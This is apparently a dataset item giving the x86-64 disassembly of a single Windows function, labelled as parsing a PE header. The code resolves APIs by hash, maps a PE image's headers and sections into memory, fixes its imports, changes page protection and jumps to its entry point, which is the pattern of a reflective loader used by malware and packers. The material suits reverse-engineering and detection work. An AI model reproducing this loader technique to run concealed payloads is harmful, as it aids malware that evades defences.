Function at 0x4120b0
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rcx, [0x00d74ea0]
mov edx, 0x400
call fcn.00404100
mov edx, 0x740516a8
lea rcx, [0x00d5c560]
mov rsi, rax
lea rax, [0x00d74e60]
mov qword [rsi], rax
call fcn.00404070
mov edx, 0x4c7bde68
mov rcx, rax
call fcn.004042c0
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [0x00d74e58]
mov r8d, 0x1000
mov edx, 8
mov rcx, rax
call qword [0x00d605d0]
mov edx, 0x4c02aa68
mov dword [rsp + 0x48], 0
lea rbp, [rax + 0x17]
mov rbx, rax
mov qword [0x00d74e50], rax
lea rdi, [rax + 0x2e]
mov qword [0x00d74e48], rbp
lea rcx, [0x00d5c520]
mov qword [0x00d74e40], rdi
call fcn.00404070
mov edx, 0x4eff1da8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d5b1b8]
test rax, rax
je 0x41217e
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rbx
call fcn.00404770
mov edx, 0x103241a8
lea rcx, [0x00d5c4e0]
call fcn.00404070
mov edx, 0x39baf68
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d5b1b8]
test rax, rax
je 0x4121bc
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rbp
call fcn.00404770
mov edx, 0x271d5b68
lea rcx, [0x00d5c4a0]
call fcn.00404070
mov edx, 0x161520a8
mov rcx, rax
call fcn.004042c0
lea rcx, [0x00d5b1b8]
test rax, rax
je 0x4121fa
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.00404770
mov edx, 0x7b36e4a8
lea rcx, [0x00d5c470]
call fcn.00404070
mov edx, 0x6b426868
mov rcx, rax
call fcn.004042c0
lea rdx, [rbx + 0xa1]
lea rcx, [0x00d5b1b8]
test rax, rax
je 0x41223f
cmp qword [rax], 0
lea r8, [rax + 0x10]
cmovne rcx, r8
call fcn.00404770
mov edx, 0x1f69f468
lea rcx, [0x00d5c440]
call fcn.00404070
mov edx, 0x418a5ba8
lea rdi, [rbx + 0x142]
mov rcx, rax
call fcn.004042c0
lea rdx, [rbx + 0x12b]
lea rcx, [0x00d5b1b8]
test rax, rax
je 0x412288
cmp qword [rax], 0
lea r8, [rax + 0x10]
cmovne rcx, r8
call fcn.00404770
mov edx, 0x54ce4968
lea rcx, [0x00d5c400]
call fcn.004042c0
lea rcx, [0x00d5b1b8]
test rax, rax
je 0x4122b6
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
mov rdx, rdi
call fcn.00404770
lea r9, [rsp + 0x48]
mov edx, 0x17
mov rcx, rbx
mov r8d, 0x20
call qword [0x00d605c8]
mov edx, 0x68bd8ea8
lea rcx, [0x00d5c2c0]
call fcn.004042c0
mov edx, 0xa679268
lea rcx, [0x00d5c100]
call fcn.004042c0
mov r8d, 0x3c8
xor edx, edx
lea rcx, [rsi + 0x30]
call sub.msvcrt.dll_memset
mov edx, 0x490b79a8
mov qword [rsi + 0x10], 0
lea rcx, [0x00d5c080]
mov qword [rsi + 0x18], 0
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x28], 0
call fcn.004042c0
mov edx, 0x25108368
lea rcx, [0x00d5c020]
call fcn.004042c0
mov edx, 0x40fedca8
lea rcx, [0x00d5be20]
call fcn.004042c0
mov edx, 0x79355c68
lea rcx, [0x00d5bd40]
call fcn.004042c0
mov edx, 0x370077a8
lea rcx, [0x00d5bcc0]
call fcn.004042c0
call fcn.004057d0
mov edx, 0x93da168
xor ecx, ecx
call fcn.00404070
mov rcx, rax
call fcn.0040bdf0
mov ecx, 0x5dc
call qword [0x00d605c0]
call fcn.00405200
mov edx, 0x7cf9ae68
lea rcx, [0x00d5bba0]
call fcn.004042c0
mov edx, 0x250d8da8
lea rcx, [0x00d5baa0]
call fcn.004042c0
mov rax, qword [0x00d605b8]
mov rcx, rsi
mov qword [rsi + 0x3f8], 0xffffffffffffffff
add rax, 0x10
mov qword [0x00d605b0], rax
mov rax, qword [0x00d605a8]
add rax, 0x10
mov qword [0x00d605a0], rax
call fcn.00408040
mov rax, qword [0x00d605a8]
mov qword [rsp + 0x50], 0
mov rdi, rax
add rdi, 0x10
je 0x4126b0
cmp word [rax + 0x10], 0x5a4d
jne 0x4126b0
movsxd rbp, dword [rax + 0x4c]
cmp ebp, 0x400
jg 0x4126b0
add rbp, rdi
cmp dword [rbp], 0x4550
jne 0x4126b0
mov eax, dword [rbp + 0xb0]
lea r9, [rsp + 0x58]
mov r8d, 0
mov rcx, qword [rsi + 0x3f8]
test eax, eax
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x50], rax
movsxd rax, dword [rbp + 0x50]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov rdx, rax
je 0x412690
call qword [0x00d74e40]
mov rdx, qword [rsp + 0x50]
lea r12, [rsp + 0x60]
mov qword [rbp + 0x30], rdx
movsxd r9, dword [rbp + 0x54]
mov r8, rdi
mov rcx, qword [rsi + 0x3f8]
xor r13d, r13d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x20], r12
lea rbx, [rbp + 0x108]
call qword [0x00d74e48]
cmp word [rbp + 6], 0
je 0x412518
movsxd rax, dword [rbx + 0x14]
add r13, 1
add rbx, 0x28
movsxd rdx, dword [rbx - 0x1c]
movsxd r9, dword [rbx - 0x18]
add rdx, qword [rsp + 0x50]
mov rcx, qword [rsi + 0x3f8]
mov qword [rsp + 0x20], r12
lea r8, [rdi + rax]
call qword [0x00d74e48]
movzx eax, word [rbp + 6]
cmp rax, r13
jg 0x4124e0
mov r12, qword [rsp + 0x50]
test r12, r12
je 0x41262f
cmp word [r12], 0x5a4d
jne 0x41262f
movsxd rax, dword [r12 + 0x3c]
cmp eax, 0x400
jg 0x41262f
add rax, r12
cmp dword [rax], 0x4550
jne 0x41262f
movsxd r14, dword [rax + 0x90]
test r14d, r14d
je 0x41262f
movsxd rax, dword [rax + 0x94]
test rax, rax
mov qword [rsp + 0x30], rax
je 0x41262f
add r14, r12
xor r13d, r13d
nop dword [rax]
lea rax, [r13 + r14]
movsxd rbx, dword [rax]
movsxd rsi, dword [rax + 0x10]
test ebx, ebx
jne 0x4126c0
test esi, esi
je 0x41262a
movsxd rdi, dword [rax + 0xc]
movsxd rbx, esi
mov rsi, rbx
add rdi, r12
lea r15, [r12 + rsi]
mov rcx, rdi
add rbx, r12
call qword [0x00d60598]
jmp 0x4125f2
mov rsi, qword [r15]
test rsi, rsi
je 0x41261b
cmp qword [rbx], rsi
jne 0x4125ea
mov rcx, rdi
movsxd rsi, esi
call qword [0x00d60598]
lea rdx, [r12 + rsi + 2]
mov rcx, rax
call qword [0x00d60590]
mov qword [r15], rax
add rbx, 8
add r15, 8
test qword [rbx], 0xffffffff80000000
je 0x4125c0
mov rcx, rdi
call qword [0x00d60598]
movzx edx, word [rbx]
mov rcx, rax
call qword [0x00d60590]
mov rsi, rax
mov qword [r15], rax
test rsi, rsi
jne 0x4125c8
add r13, 0x14
cmp qword [rsp + 0x30], r13
ja 0x412580
mov r12, qword [rsp + 0x50]
movsxd rax, dword [rbp + 0x28]
lea r8, [rsp + 0x68]
mov r9d, 0x20
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x38]
mov dword [rsp + 0x4c], 0
add r12, rax
movsxd rax, dword [rbp + 0x50]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
call qword [0x00d74e50]
call r12
xor eax, eax
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call qword [0x00d74e40]
mov rdx, qword [rsp + 0x50]
test rdx, rdx
jne 0x4124a4
nop
nop word cs:[rax + rax]
xor ecx, ecx
call sub.msvcrt.dll_exit
nop word [rax + rax]
movsxd rdi, dword [rax + 0xc]
add rdi, r12
jmp 0x4125a9